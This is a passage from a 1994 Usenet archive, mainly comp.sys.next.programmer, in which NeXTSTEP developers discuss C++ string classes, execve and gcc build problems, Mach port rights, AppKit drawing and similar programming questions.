Anderson [Greg_Anderson@afs.com] Written: 20/August/93 Greg Anderson [Greg_Anderson@afs.com] Last edit: 20/August/93 Greg Anderson [Greg_Anderson@afs.com] -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: kline@CS.Arizona.EDU (Nick Kline) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: PPP on NeXTStep 3.2 Date: 8 Mar 1994 00:21:39 -0700 Organization: University of Arizona CS Department, Tucson AZ Message-ID: <2lh923$psc@cheltenham.cs.arizona.edu> References: <CMA3sq.AHA@ariel.cs.yorku.ca> <2lfemb$58p@steffi.demon.co.uk> > >However, I've been informed that there are a number of PPP projects >underway at the moment which should be seeing light of day real soon. > >My advice is to use SLIP and wait for a _solid_ PPP implementation to >become available. > >BTW: Anybody know if Transys are writing a PPP encapsulator for PNI? > I'd love to get in contact with these developers. I started with ppp 0.3 for ns/fip and never did finish it. I have experience with writing comm applications on nextstep so I perhaps could be of help, at least I would like to beta test. I'm willing to play with it, try different params and see what happens. -nick kline kline@cs.arizona.edu
Newsgroups: comp.sys.next.programmer From: paccorti@nextsrv1.andi.org (Peter Accorti) Subject: API Application Programming Interface Message-ID: <CMBpHC.n55@nextsrv1.andi.org> Keywords: API Application Programming Interface Sender: usenet@nextsrv1.andi.org (usenet) Organization: Association of NeXTSTEP Developers International Date: Tue, 8 Mar 1994 01:58:23 GMT What is a good source of information on creating an API for an application. Any shareware examples?
Newsgroups: comp.sys.next.programmer From: mheubi@itr.ch (Matthias Heubi) Subject: Using C++ for enhanced common classes (LONG - contains example code) Message-ID: <1994Mar8.095614.17413@itr.ch> Keywords: C++, common classes, string class, operator overloading Sender: usenet@itr.ch Organization: Interkantonales Technikum Rapperswil (ITR) Switzerland Date: Tue, 8 Mar 1994 09:56:14 GMT Hi netters, There were already a lot of discussions on wheter C++ is evil, bad, inferior, or whatever. I really don't want to [thread awake] them! I don't like C++ much. But, I've been thinking about using some specific features of it where it makes sense. Let's think of a simple Objective C encapsulation of C strings. Whenever we call a plain C functions (yes, I still *do* use C functions) whe have to use some ugly construct like: NXSaveToFile(myStream,[filenameObject getTheInternalCharPointer]); what I would like to see is: NXSaveToFile(myStream, filenameObject); To do this, we can use C++'s operator overloading to have the compiler automagically call a conversion function. The following string class (hack!) should illustrate ONE way how to do it. What I'm interested in is opinions on wheter this is a good idea, and how people like an approach like this. We do have the only Objective C++ compiler in the world, so let's use it. Matthias Heubi Example code follows: compile with cc -ObjC++ 8<------------------------- /** Demonstration of useful capabilities of C++ for, say a String(tm) class **/ #import <objc/Object.h> extern "C" { #include <stdio.h> #include <stdlib.h> }; // This is a fake object that could implement some methods // manipulating the internal contents of our C++ string class // through Objective C messages @interface Objective_C_Representation_of_String_Class : Object { } @end @implementation Objective_C_Representation_of_String_Class : Object @end class string { private: char *text; // pointer to stored text int length; // length without trailing 0 id anObject; // objective C object representing C++ object string(int len); // init with fixed length public: string(); // init empty string string(char *aText); // init from a char* string(string& aString); // init from string object ~string(); // free internal storage string& operator=(string& aString); // assign string object string& operator=(char *aText); // assign char* string& operator+=(string& aString); // append string object char operator[](int index); // emulate array indexing friend string operator+(string& string1,string& string2); // add two string objects operator const char*(); // convert to const char* (illegal!!) operator char*(); // convert to char* operator id(); // convert to an objective c object }; //***************************************************** // C++ Class implementation //***************************************************** string::string(int len) { printf("string(int) %x\n",this); length = len; text = malloc(length+1); anObject = [[Objective_C_Representation_of_String_Class alloc] init]; } string::string() { printf("string() %x\n",this); length = 0; text = malloc(1); anObject = [[Objective_C_Representation_of_String_Class alloc] init]; *text = 0; } string::string(char *aText) { printf("string(char*) %x\n",this); length = strlen(aText); text = malloc(length+1); anObject = [[Objective_C_Representation_of_String_Class alloc] init]; strcpy(text,aText); } string::string(string& aString) { printf("string(string&) %x\n",this); length = aString.length; text = malloc(length+1); anObject = [[Objective_C_Representation_of_String_Class alloc] init]; strcpy(text,aString.text); } //***************************************************** // Destructor //***************************************************** string::~string() { printf("free %x\n",this); free(text); } //***************************************************** // Operators //***************************************************** string& string::operator=(string& aString) { printf("operator=(string&)\n"); free(text); length = aString.length; text = malloc(length+1); strcpy(text,aString.text); return *this; } string& string::operator=(char *aText) { printf("operator=(char*)\n"); free(text); length = strlen(aText); text = malloc(length+1); strcpy(text,aText); return *this; } char string::operator[](int index) { printf("operator[]()\n"); if(index >= 0 && index <= length) return text[index]; else { fprintf(stderr,"**** index out of range\n"); return 0; } } //***************************************************** // Typecasting //***************************************************** string::operator const char*() { printf("converting to const char*\n"); return text; } /* ** THIS IS AN ILLEGAL TYPCAST BECAUSE DISCARDING CONST WOULD OPEN ** UP INTERNAL DATA STRUCTURES */ char dummy_buffer[1000]; string::operator char*() { printf("converting to char*\n"); fprintf(stderr,"**** attempt to expose internal pointer of string class\n"); return dummy_buffer; } string::operator id() { printf("converting to id\n"); return anObject; } //***************************************************** // Friend functions //***************************************************** string operator+(string& string1,string& string2) return result(string1.length + string2.length); // special GNU syntax { printf("operator+()\n"); strcpy(result.text,string1.text); strcpy(result.text+string1.length,string2.text); return result; } //***************************************************** // MAIN PROGRAM //***************************************************** main() { string a,b; string c = "string-c "; string d = b; int length; char someChar; printf("\n\nLet's do some basic stuff first\n"); printf("assigning a string constant to 'a'\n"); a = "string-a"; printf("assigning 'a' to 'b' and 'd'\n"); d = b = a; printf("concatenating 'c' and 'a' and assigning the result to 'd' \n"); d = c + a; printf("result: \"%s\"\n",(const char*)d); // we must typecast to char* as printf doesn't really // specify the type of its additional arguments printf("picking char at position 5 of 'd'\n"); someChar = d[5]; printf("result:\'%c\'\n",someChar); printf("\n\nNow comes the interesting stuff\n"); printf("The C++ class knows how to convert itself to a const char*\n"); printf("so it can be passed to any C function that expects a const char*\n"); printf("let's call an ordinary C function\n"); length = strlen(c); printf("the length of string 'c' is:%d\n",length); printf("\nwhen converting to other data types we must take care of encapsulation\n"); printf("the following operation is illegal as it would modify object internals\n"); strcpy(a,"hello"); printf("fortunately it has been catched\n"); printf("\nIt can even be sent an Objective C message\n"); printf("however this will provoke a compile time warning\n"); printf("returned value of objc message 'name':%s\n",[a name]); } 8<------------------------- -- Matthias Heubi | "If timeout is (-1) the connection will run Uptime Object Factory Inc | forever or until it is invalidated, whichever mheubi@itr.ch (NeXT-Mail welcome!) | occurs first." -- NXConnection docs This document does not necessarily reflect the opinion of my employer.
From: arneha@ifi.uio.no (Arne Christian Haarseth) Newsgroups: comp.sys.next.programmer Subject: execve & more Date: 8 Mar 1994 13:26:31 +0100 Organization: Dept. of Informatics, University of Oslo, Norway Message-ID: <2lhqtn$2kb@yrsa.ifi.uio.no> Keywords: execve PROBLEM WITH EXECUTING (execve) more WHEN COMPILED WITH -posix OPTION Look at the following session: > localhost> cat execvetest.c > #include <stdio.h> > #include <string.h> > #include <sgtty.h> > > /* extern char **environ; */ > > main(argc, argv, env) > int argc; > char *argv[], *env[]; > { > char *com; > char *par[] = {"more", "execvetest.c", NULL}; > int i=0; > > com=(char *)malloc(8*sizeof(char)); > strcpy(com,"/usr/ucb/more"); > > > /* while (env[i]) {printf("%s\n",env[i]); i++;}; */ > printf("\n"); > execve(com, par, env); > } > localhost> cc -posix -o execvetest execvetest.c > localhost> execvetest > TIOCGPGRP: Inappropriate ioctl for device <--- ??????????????? > localhost> cc -o execvetest execvetest.c > localhost> execvetest > #include <stdio.h> > #include <string.h> > #include <sgtty.h> > > /* extern char **environ; */ > > main(argc, argv, env) > int argc; > char *argv[], *env[]; > { > . > . > . > } > localhost> As you can see I get an TIOCGPGRP when I compile this with -posix option which I don't get without. Why is this, and how do I avoid it ? Is it a weekness in the cc compiler ? Arne Haarseth (arneha@ifi.uio.no)
From: car@informatik.uni-kiel.de (Carsten Rathsack) Newsgroups: rec.models.railroad,comp.sys.next.misc,comp.sys.next.programmer,comp.sources.wanted Subject: model railroad design tool wanted Followup-To: rec.models.railroad Date: 8 Mar 1994 13:44:41 +0100 Organization: Dept. of Computer Science, University of Kiel, FRG Message-ID: <2lhrvpINNfg8@ramses.informatik.uni-kiel.de> Hi, I am looking for a design tool to create model railroad systems, especially track layouts. I've heard of a tool called EDITTRAK that may be what I am looking for, but I can't find it anywhere on the archives. If anybody has or knows about such tools please drop me a line. It would be best if it runs on UNIX under X11 (or even better, but a bit exotic, on NeXTstep), but MSDOS is ok. Thanks in advance, Carsten -- Some few hours of trial and debugging sometimes can save 10 minutes of reading man pages.
From: mauriti@cs.tu-berlin.de (Frank Hartlep) Newsgroups: comp.sys.next.programmer Subject: "DeMABing" binaries Date: 8 Mar 1994 14:21:59 GMT Organization: Technical University of Berlin, Germany Distribution: world Message-ID: <2li1m7$qmc@news.cs.tu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit I'm still using NS 3.0 but would like to extract the Motorola binary from a MAB. Is it possible for somebody to mail me the tool used for this available under NS 3.1?
From: mat@murdock.oscs.montana.edu (Mat Watson) Newsgroups: comp.sys.next.programmer Subject: gcc-2.5.8 on NeXT 3.0, need help building. Date: 8 Mar 1994 14:31:24 GMT Organization: Montana State University, Bozeman, MT. Distribution: world Message-ID: <2li27s$cvs@pdq.coe.montana.edu> I want to build gcc-2.5.8 on my NeXT 3.0 system, but am having difficulties. Specifically, the fixincludes script bombs and xgcc can't manage to include architecture independent headers (via <architecture/ARCH_INCLUDE.h>) properly. If you have built gcc on your NeXT system, please let me know what you did to make it work. __________________________________________________________________________ Mat Watson Most of the world's social problems stem mat@murdock.oscs.montana.edu from racial and religious bigotry. -- __________________________________________________________________________ Mat Watson Most of the world's social problems stem mat@murdock.oscs.montana.edu from racial and religious bigotry.
From: davechao@cteq07.pa.msu.edu (David Bowser-Chao) Newsgroups: comp.sys.next.programmer Subject: Re: gcc-2.5.8 on NeXT 3.0, need help building. Date: 8 Mar 1994 15:52:48 GMT Organization: Michigan State University Distribution: world Message-ID: <2li70g$17h6@msuinfo.cl.msu.edu> References: <2li27s$cvs@pdq.coe.montana.edu> Keywords: gcc-2.5.8 NexT In article <2li27s$cvs@pdq.coe.montana.edu> mat@murdock.oscs.montana.edu (Mat Watson) writes: > I want to build gcc-2.5.8 on my NeXT 3.0 system, but am having > difficulties. Specifically, the fixincludes script bombs and xgcc > can't manage to include architecture independent headers (via > <architecture/ARCH_INCLUDE.h>) properly. If you have built gcc on > your NeXT system, please let me know what you did to make it work. I empathize fully, having recently completed installation of both gcc 2.5.8 and libg++2.5.3. In fact, I didn't realize I had a problem installing gcc (using a previous version of gcc) until I went to install and try out the libio portion of libg++ (i.e., using cout, cin, etc.). The problem, I found out, was that the fixincludes program wasn't adding POSIX definitions to sys/stat.h because it was actually located in "bsd/sys/stat.h". Not that this makes any difference when including files, but it does when the filter fixincludes is paying attention to the actual path (with /usr/include chopped off). Someone from Cygnus nicely confirmed that this is a known problem in installation of gcc, and I got around it by carefully modifying all the names of the include files to be edited in fixproto as well as fix-header.c. Note that in fix-header.c, this means changing the strings for "sys/stat.h" and "errno.h" to "bsd/sys/stat.h" and "bsd/errno.h"; in fixproto, I've replaced the line with "std_files=" with std_files="ansi/ctype.h bsd/sys/dirent.h bsd/sys/errno.h bsd/curses.h bsd/sys/fcntl.h bsd/grp.h ansi/locale.h ansi/math.h bsd/pwd.h bsd/m68k/setjmp.h bsd/signal.h ansi/stdio.h ansi/stdlib.h ansi/string.h bsd/sys/stat.h bsd/sys/times.h bsd/sys/resource.h bsd/sys/utsname.h bsd/sys/wait.h tar.h termios.h ansi/time.h unistd.h" Note the machine dependent paths in some cases (e.g. bsd/m68k/setjmp.h) which I decided upon by actually looking at the files fixproto was referring to, and following the thread of nested include files till I found the one with the real "guts" to be modified. So far, it looks like things are working okay (including "cout <<"Hello World""!) David
From: rob@fosters.med.utah.edu (Rob Sargent) Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Date: 08 Mar 1994 16:10:33 GMT Organization: University of Utah Message-ID: <ROB.94Mar8091033@fosters.med.utah.edu> References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> <1994Mar3.220107.5005@g2syd.genasys.com.au> In-reply-to: michaelh@g2syd.genasys.com.au's message of Thu, 3 Mar 1994 22:01:07 GMT In article <1994Mar3.220107.5005@g2syd.genasys.com.au> michaelh@g2syd.genasys.com.au (Michael Haldey) writes: >In Article <2kt8ab$51g@spool.mu.edu>, alec@carie.dental.mu.edu (Alec >Ellsworth) wrote: >> >>Qualifications include: Bachelor's Degree in Computer Science or ... > >Not asking for much, are you? ;-) > Not really. Here in Australia you can find ads asking for people with 5 years working with MS Windows SDK or 3 years with Visual Basic. (Let's alone 2 years experience in Windows NT.) :) :) Michael -- Michael Haldey | Genasys II Pty Ltd, Sydney, Australia | Internet: michaelh@g2syd.genasys.com.au | | #include <std_disclaimer.h> Then post in Australia rjs -- Rob Sargent s-mail: Dept. of Human Genetics e-mail: rob@fosters.med.utah.edu U. of Utah Medical School phone: (801) 585-3388 Eccles Genetics Bldg phax : -3833 Salt Lake City, Utah 84112
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Using C++ for enhanced common classes (LONG - contains example code) Date: 8 Mar 1994 17:24:05 -0000 Organization: me organised, that's a joke. Message-ID: <2licbl$16b@steffi.demon.co.uk> References: <1994Mar8.095614.17413@itr.ch> Keywords: C++, common classes, string class, operator overloading mheubi@itr.ch (Matthias Heubi) wrote in comp.sys.next.programmer > >Hi netters, > >There were already a lot of discussions on wheter C++ is evil, bad, inferior, or >whatever. I really don't want to [thread awake] them! > >I don't like C++ much. But, I've been thinking about using some specific features of >it where it makes sense. Let's think of a simple Objective C encapsulation of C >strings. Whenever we call a plain C functions (yes, I still *do* use C functions) >whe have to use some ugly construct like: > >NXSaveToFile(myStream,[filenameObject getTheInternalCharPointer]); > >what I would like to see is: > >NXSaveToFile(myStream, filenameObject); > > >To do this, we can use C++'s operator overloading to have the compiler automagically >call a conversion function. The following string class (hack!) should illustrate ONE >way how to do it. It's not operator overloading it's user defined conversion. There's no _explicit_ operator involved. I don't believe this is overloading. IMHO: A form of implied type conversion performed by the compiler but not overloading. I like to think of conversion "operators" as implicity called functions. There has to be some notion of a "message" involved before I will agree that it is overloading. Here's something I did a long time ago. #include "String.h" #include "Defs.h" #include <ctype.h> String::String() { DEBUG("Default constructor"); rep = new char[1]; rep[0] = '\0'; } String::String(const String& s) { rep = new char[s.length() + 1]; ::strcpy(rep, s.rep); } String::String(const char *s) { DEBUG("Converted via constructor"); int lengthOfOriginal = ::strlen(s) + 1; rep = new char[lengthOfOriginal]; ::strcpy(rep, s); } String& String::operator=(const String& s) { if (rep != s.rep) { delete[] rep; int lengthOfOriginal = s.length() + 1; rep = new char[lengthOfOriginal]; ::strcpy(rep, s.rep); } return *this; } String::~String() { delete[] rep; } String String::lower() const { String t = *this; char *p = &t.rep[t.length()]; while (--p >= t.rep) { if (isupper(*p)) { *p = tolower(*p); } } return t; } String String::upper() const { String t = *this; char *p = &t.rep[t.length()]; while (--p >= t.rep) { if (islower(*p)) { *p = toupper(*p); } } return t; } This indexes the string like an array. stringObject(i) This is overloading. char String::operator() (int i) const { if (i < length()) { return rep[i]; } else { return '\0'; } } String String::operator() (int start, int n) const { char *r = 0; int len = length(); if (start >= len) return ""; n = MIN(n, len-start); r = new char[n + 1]; ::strncpy(r, rep+start, n); r[n] = 0; return r; } int operator==(const String& s1, const String& s2) { return ::strcmp(s1, s2) == 0; } int operator!=(const String& s1, const String& s2) { return !(s1 == s2); } int String::operator!() const { return length() == 0; } Here's the UDF which converts an object to a char * in a pointer context such that strlen(stringObject) is allowed. String::operator const char *() const { DEBUG("Converted via UDCF"); return rep; } inline String::length() const { return ::strlen(rep); } ostream& operator<<(ostream& os, const String& s) { if (!s) { os << "(null)"; } else { os << s.rep; } return os; } #ifdef _STRINGDRIVER #include <stdio.h> int main() { String string1("Robert"); String string2("Nicholson"); String string3("David"); cout << string1 << " is " << string1.length() << " characters" << endl; cout << "String1 is " << string1 << endl; cout << "String2 is " << string2 << endl; cout << "String3 is " << string3 << endl; string2 = string1; cout << "String2 is " << string2 << endl; printf("String is %s\n",(char *)string1); cout << "Lower String1" << " is " << string1.lower() << endl; String *l = new String("robert"); cout << "Upper String1" << " is " << l->upper() << endl; delete l; cout << "String1(1) is " << string1(1) << endl; cout << "String1(1,3) is " << string1(1,3) << endl; cout << "String1 == String1 is " << (string1 == string2) << endl; cout << "String1 == String3 is " << (string1 == string3) << endl; cout << "String1 == String3 is " << ("David" == string3) << endl; cout << "String1 == David is " << (string3 == "David") << endl; cout << "David == David is " << (String("David") == String("David")) << endl; String nullstring; cout << nullstring << endl; String robert("robert"); cout << robert << endl; cout << "robert != robert " << (String("robert") != String("robert")) << endl; cout << "robert != david " << (String("robert") != String("david")) << endl; } #endif _STRINGDRIVER > >What I'm interested in is opinions on wheter this is a good idea, and how people >like an approach like this. We do have the only Objective C++ compiler in the world, >so let's use it. If Paul Kunz is listening in on this thread would he mind telling us specifically what areas he's using C++ for? In fact would any commercial developers like to express their reasons as to why they adopted C++ for particular portions of their app? --- What is the point of using C++ for strings? Are we concerned with efficiency or readability? (I'm not implying anything about C++ vs ObjC) I think the discussion would be more useful if we look at how NX.* structs could be used as C++ objects. and what gains (if any) would be achieved.
From: hyongsop@va.engin.umich.edu (hyong sop shim) Newsgroups: comp.sys.next.programmer Subject: Writing/Archiving Windows Date: 8 Mar 1994 18:19:34 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: world Message-ID: <2lifjmINNfi4@srvr1.engin.umich.edu> Originator: hyongsop@va.engin.umich.edu Hi all, I have a window that has a slider and a textfield. The target of the slider is a controller object which displays the position of the knob of the slider in the textfield when a user moves the knob to a new position. I've been trying to archive/write this window using write:(NXTypedStream *)aStream. But the method does not write the controller object, that is, the target of the slider. Does anyone know how to archive this controller object without having to "customize" the slider? Thanks, --Hyong Sop Shim (hyongsop@engin.umich.edu)
From: therbert@umiami.ir.miami.edu Newsgroups: comp.sys.next.programmer Subject: How to compile IRC for NeXTstep? Message-ID: <1994Mar8.131431.17069@umiami.ir.miami.edu> Date: 8 Mar 94 13:14:31 EST Organization: Univ of Miami IR I am trying to complile IRC for NeXTstep/Intel 3.2. I have had good luck on gopher, kermit, archie, etc., etc. On IRC, the compilation through about 15 routines goes fine until scandir.c which gives the following: cc -O -c scandir.c scandir.c: In function `scandir': scandir.c:154: argument `dirname' doesn't match prototype *** Exit 1 Stop. *** Exit 1 Stop. --------------------- Line 154 sends us to: scandir(dirname, namelist, select, dcomp) char *dirname; struct direct *(*namelist[]); int (*select) (), (*dcomp) (); -> { register struct direct *d, *p, **names; register int nitems; register char *cp1, *cp2; struct stat stb; long arraysz; DIR *dirp; if (access(dirname, R_OK|X_OK)) return (-1); if ((dirp = opendir(dirname)) == NULL) return (-1); if (fstat(dirp->dd_fd, &stb) < 0) return (-1); --------------------- Any suggestions? - I have tried lots of compiler options including: darwin> cc -c -ansi scandir.c scandir.c:163: undefined type, found `DIR' darwin> cc -c -bsd scandir.c scandir.c: In function `scandir': Tom Herbert University of Miami therbert@umiami.ir.miami.edu
From: tom@pdh.com (Tom Fitzgerald) Newsgroups: comp.sys.next.programmer Subject: WordPerfect on NeXT (finding text programatically,filter service gone?) Date: 8 Mar 1994 13:28:32 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9403081928.AA11707@snowbird.pdh.com> We just received the latest upgrade to WordPerfect. Does anyone know how to open a WordPerfect document and find the first occurrence of a word programatically? The Jun 93 version when used with Digital Librarian would highlight the word you were searching for when you opened the WordPerfect document. It also seems that the filter services have been removed from the latest version so that it no longer works with Digital Librarian. Can anyone confirm this? --- Tom Fitzgerald tom_fitzgerald@pdh.com (NeXT Mail OK) PDH, INC / 2635 N First St, Suite 224 / San Jose, CA 95134-2032 (408) 428-9596 / FAX (408) 428-9599
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Re: A way to draw in the AppIcon Message-ID: <1994Mar8.192804.14878@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France References: <1994Feb25.105034.1412@ares.fdn.org> Date: Tue, 8 Mar 1994 19:28:04 GMT In article <1994Feb25.105034.1412@ares.fdn.org> gery@ares.fdn.org (Gery Divry) writes: > Hello > > I am looking for an example showing how to draw in the AppIcon. (I ve seen > that somewhere but I can t put my hand on it (ackward translation of > french expression).. Use something like the example below. The miniVal arg is used to eventually force the drawing, and the miniView instance var controls wether we should draw something or draw the original icon. Of course, if you always want to draw in the app tile, you do not have to use the "app" image. - drawInAppTile:(BOOL)miniVal { static id appIconView = nil, appTile = nil, stdTile = nil; static NXColor virtScreenColor; if (miniVal || miniVal != miniView) { NXPoint dest = { 0., 0. }; miniView = miniVal; if (stdTile == nil) { stdTile = [NXImage findImageNamed:"NXAppTile"]; appTile = [NXImage findImageNamed:"app"]; appIconView = [[NXApp appIcon] contentView]; [DFMgr getColorDefault:COLORS_NAM_VIRTSCREEN :&virtScreenColor]; } [appIconView lockFocus]; [stdTile composite:NX_COPY toPoint:&dest]; if (miniView) { // DO SOME DRAWING HERE } else { NXSize appSize; [appTile getSize:&appSize]; // Should be NX_ICON... but... dest.x = (NX_TOKENWIDTH - appSize.width) / 2.; dest.y = (NX_TOKENHEIGHT - appSize.height) / 2.; [appTile composite:NX_SOVER toPoint:&dest]; } [appIconView unlockFocus]; if ([appIconView isAutodisplay]) { [appIconView display]; } else { [appIconView setNeedsDisplay:YES]; } } return self; } -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: root@network-23 (Operator) Subject: Proggrammers Needed Sender: news@spcuna.spc.edu (Network News) Organization: St. Peter's College, US Date: Tue, 8 Mar 1994 22:27:44 GMT Message-ID: <CMDAE8.971@spcuna.spc.edu> Hi.... I am running a public access unix site in the New York/Metro area and need proggrammers to do certain things such as compiling, and writing info clients.. I have an intel 486 DX2/66 w/32mb ram running nextstep 3.2 If interested, pls mail root@network-23.com Thanks in Advance...
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: How to transfer rec'v rights for a Mach port Message-ID: <1994Mar8.211400.7408@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. Distribution: usa Date: Tue, 8 Mar 1994 21:14:00 GMT Help! I need to know how to transfer receive rights to a Mach port (from one process to another) when we check the port in via the name server. Any help would be appreciated! Thank you. -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: absinthe@viva.chem.washington.edu (Daniel Faken) Newsgroups: comp.sys.next.programmer Subject: DPS operators Date: 9 Mar 1994 02:44:29 GMT Organization: University of Washington Message-ID: <2ljd6d$31m@news.u.washington.edu> Keywords: DPS Has anyone had problems with the DPS window operators? DPSwindow works OK, but DPSwindowdeviceround, DPSorderwindow, & friends all give "rangecheck" errors when I pass them the window number. I tried putting the window through DPSDefineUserObject first, but that only gave more errors. I am now using DPSPrintf instead - Is there a performance difference? Do the DPS operators simply write strings to the window server? (I would much prefer using DPSPrintf if there is no performance loss) thanks for any help. -- Daniel Faken | Name a poison, absinthe@u.washington.edu | pick your flavour.
From: pgriffin@phys.ufl.edu (Paul A. Griffin) Newsgroups: comp.sys.next.programmer Subject: same text object in multiple windows? Date: 9 Mar 1994 03:49:40 GMT Organization: University of Florida Message-ID: <2ljh0kINN4vn@no-names.nerdc.ufl.edu> Keywords: text, windows, view Hi, Does anyone know if there is a way of displaying the same text (object) in multiple windows? For example, emacs lets you split its screen into multiple views of the same buffer. I would like to view a buffer in multiple windows. Is there a way of implementing this via the application kit? Thanks in advance for any suggestions, Paul Griffin pgriffin@phys.ufl.edu
Newsgroups: comp.sys.next.programmer From: dylan@Angst.COM (Dylan Kohler) Subject: "Grab"-like rectangle dragging Message-ID: <1994Mar9.062811.14925@Angst.COM> Sender: dylan@Angst.COM Organization: Angst Animation Post Production Date: Wed, 9 Mar 1994 06:28:11 GMT I'd like to do something like Grab.app does: have the user define a rectangle on the screen by dragging. I've figured out how to display the rectangle as it is dragged, by using four skinny black windows, but I can't figure out how to catch the mouse-down and mouse-dragged events for anyplace on-screen. The only way I can capture these events right now is if they occur in one of my application's windows. How do I do this generally? Is there perhaps a way to bring up an invisible window all over the screen and trap events there? I'll summarize. -- ___________________________________ Dylan Kohler Angst Animation Post Production dylan@angst.com (NeXTmail welcome)
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: How to compile IRC for NeXTstep? Date: 9 Mar 1994 08:48:14 GMT Organization: San Francisco State University Message-ID: <2lk2ge$rnd@nic-nac.CSU.net> References: <1994Mar8.131431.17069@umiami.ir.miami.edu> scandir() is provided by NeXT; just use theirs -=EPS=-
From: sbeck@math.lsu.edu (Stephen David Beck) Newsgroups: comp.sys.next.programmer Subject: launching Terminal programmatically Date: 9 Mar 1994 01:05:43 GMT Organization: Louisiana State University InterNetNews Site Message-ID: <2lj7d7$282d@te6000.otc.lsu.edu> Has anyone had experience launching Terminal.app programmatically? I want to bring up a shell window much like the debug mode of ProjectBuilder. I am familiar with the subprocess developer example, but I'm curious if I can get directly to Terminal. Any help is greatly appreciated. Stephen David Beck Computer Music Studios Louisiana State University
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: How to transfer rec'v rights for a Mach port Date: 9 Mar 1994 09:47:52 GMT Organization: San Francisco State University Message-ID: <2lk608$1gn@nic-nac.CSU.net> References: <1994Mar8.211400.7408@dolphin.com> In article <1994Mar8.211400.7408@dolphin.com> Zacharias J. Beckman <zac@dolphin.com> writes: >I need to know how to transfer receive rights to a Mach port (from one process >to another) when we check the port in via the name server. Any help would be >appreciated! At most one task can have receive rights to a port. Transferring receive rights to another task means losing yours. Whichever task has receive rights also has send rights. Any task that has send rights can pass them yet still retain them (i.e. more than one task can have send rights). When you check in a port with the Network Name Server (or the Bootstrap Server), you are passing send rights to that server. When a task successfully looks up a named port, the server passes send rights back. There are two ways receive rights can be passed from one task to another: 1) Through a nonsimple message [sent to a different port] containing a msg_type_name of MSG_TYPE_PORT_ALL 2) A port_extract_receive() or port_insert_receive() request to another task's kernel port So you might do something like [Task A]: allocate port, register it with server msg_receive() [Task B]: look up Task A's published port allocate a private port msg_rpc(): remote=A's port; local=B's port msg_id=GIMME_YOUR_PORT (along with any "authorization" info) [Task A]: msg_send() A's port rights (along with signature port rights, if any): remote=B's port; local=PORT_NULL msg_id=HERE_YA_ARE [Task B:] (now has receive rights to A's port) deallocate B's port -=EPS=-
From: "James Gaines" <p00378@psilink.com> Newsgroups: comp.sys.next.programmer Subject: Internet AGENT Date: Tue, 08 Mar 94 20:14:54 -0600 Organization: GCC Message-ID: <2972261505.5.p00378@psilink.com> Message-Id: <2972260816.1.p00378@psilink.com> Date: Tue, 08 Mar 94 20:06:24 -0600 From: "James Gaines" <p00378@psilink.com> Organization: GCC Subject: Internet AGENT Newsgroups: alt.bbs.internet I am looking for information concerning the existence and/or development of a program or service that will post mail to large numbers of internet users in one fell swoop! If this utility does not currently exist, then I would like to know what is involved in developing it. I invite all constructive hack comments! Please direct all responses to the my email address: p00378@psilink. I thank all respondents in advance. Peace, James
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Re: How to restart an app? Message-ID: <1994Mar9.085245.27945@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France References: <gelatoCM0y19.Ir2@netcom.com> Date: Wed, 9 Mar 1994 08:52:45 GMT In article <gelatoCM0y19.Ir2@netcom.com> gelato@netcom.com (Steve James) writes: > [Some stuff deleted] Is there any way to simulate WS's > alt-double-click programmatically, i.e. run the app again, even if > it's already running? > > Thanks for any info or suggestions... Just say: [[Application workspace] openfile:completePathToApplication]; where completePathForApplication might be [[Application workspace] getFullPathForApplication:name] if your app is located in one of WM's standard paths. NOTE that there is a serious bug in launchApplication:showTile:autolaunch: if you want to run an application twice: WM thinks that both applications are a single one, so if you want to launch an application 2 or more times, you can use launchApplication:showTile:autolaunch: for the first one but must use openFile: for the other ones (one way to do that is to check wether the app is running by looking for its port or by any other way). Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: paulh@celtix (Paul Hardin) Subject: Re: *!STUDENTS!* Add YOUR Name to the Nat'l Student Directory !! Message-ID: <1994Mar8.214955.13760@logibec.com> Keywords: drivel Sender: news@logibec.com Organization: Logibec Groupe Informatique Ltee, QC, Canada References: <1994Mar7.215548.16067@hal.depaul.edu> Date: Tue, 8 Mar 1994 21:49:55 GMT Isn't this a moderated group? How did such drivel get in? Enough said.
